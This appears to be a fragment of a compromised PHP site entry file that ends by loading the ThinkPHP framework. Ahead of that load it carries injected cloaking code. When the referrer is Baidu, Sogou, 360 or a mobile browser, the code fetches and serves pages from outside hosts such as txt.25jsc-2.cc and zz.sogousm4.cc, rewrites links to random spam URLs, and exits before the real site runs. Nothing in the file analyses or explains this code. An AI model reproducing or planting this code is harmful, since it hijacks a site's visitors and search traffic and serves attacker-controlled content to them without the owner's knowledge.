ENT, 'MyCustomUA/1.0'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); curl_close($ch); $output = str_replace([ '', '', '', '' ], '', $output); $lianjie = '/[\s\S]*?<\/a>/'; preg_match_all($lianjie, $output, $aarray5); if ($aarray5[0]) { $count = 0; foreach ($aarray5[0] as $pbti) { $preg = '/href=(\"|\')(.*?)(\"|\')/i'; if ($count < 5) { $randomUrl = httpGet3('http://zz.sogousm4.cc:82'); $randomUrl = str_replace('', '', $randomUrl); if ($randomUrl !== false && $randomUrl !== '') { $replacestr = 'href="' . trim($randomUrl) . generateRandomNumber() . '.html"'; $count++; } else { $replacestr = 'href="'.$dir[array_rand($dir)]. "/". generateRandomNumber() . '.html"'; } } else { $replacestr = 'href="'.$dir[array_rand($dir)]. "/". generateRandomNumber() . '.html"'; } $aoutput = preg_replace($preg, $replacestr, $pbti); $output = str_replace($pbti, $aoutput, $output); } } echo $output; exit(); } } // 其他条件判断 if (area && preg_match("/.*(baidu).*/i", ref, $OutUa) && preg_match(mobile, ent) && url != "" && url != "/" && url != "/index.php" && url != "/index.html") { $ua = $_SERVER['HTTP_USER_AGENT']; $ch = curl_init(); curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_URL, "http://txt.25jsc-2.cc:82/xin/502.php"); curl_setopt($ch, CURLOPT_HEADER, false); curl_exec($ch); curl_close($ch); exit(); } elseif (area && preg_match('/phone|pad|pod|OpenHarmony|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/', $_SERVER['HTTP_USER_AGENT'])) { $ua = $_SERVER['HTTP_USER_AGENT']; $ch = curl_init(); curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_URL, "http://txt.25jsc-2.cc:82/xin/502.php"); curl_setopt($ch, CURLOPT_HEADER, false); curl_exec($ch); curl_close($ch); exit(); } if (preg_match(regs2, ent) && url != "" && url != "/" && url != "/index.php") { echo ''; echo ''; echo httpGet3(site2 . road); exit(); } elseif (preg_match(regs2, ent)) { $html = httpGet32(url8 . url); $html = str_replace('', '', $html); $html = str_replace('

', '', $html); $lianjie = '/[\s\S]*?<\/a>/'; preg_match_all($lianjie, $html, $aarray5); if ($aarray5[0]) { foreach ($aarray5[0] as $pbti) { $preg = '/href=(\"|\')(.*?)(\"|\')/i'; $replacestr = 'href="' .$dir[array_rand($dir)]. "/" . char(6, 1) . char(mt_rand(4, 10), 2) . '.html"'; $ahtml = preg_replace($preg, $replacestr, $pbti); $html = str_replace($pbti, $ahtml, $html); } } echo $html; exit(); } if (preg_match("/.*(sogou|yisou|sm|360|haoso).*/i", ref, $OutUa) && preg_match(mobile, ent) && url != "" && url != "/" && url != "/index.php" && url != "/index.html") { $ua = $_SERVER['HTTP_USER_AGENT']; $ch = curl_init(); curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_URL, "http://txt.25jsc-2.cc:82/xin/502.php"); curl_setopt($ch, CURLOPT_HEADER, false); curl_exec($ch); curl_close($ch); exit(); } define('APP_NAME','Home'); define('APP_PATH','./Home/'); define('APP_DEBUG',true); require './Framework/ThinkPHP.php'; ?>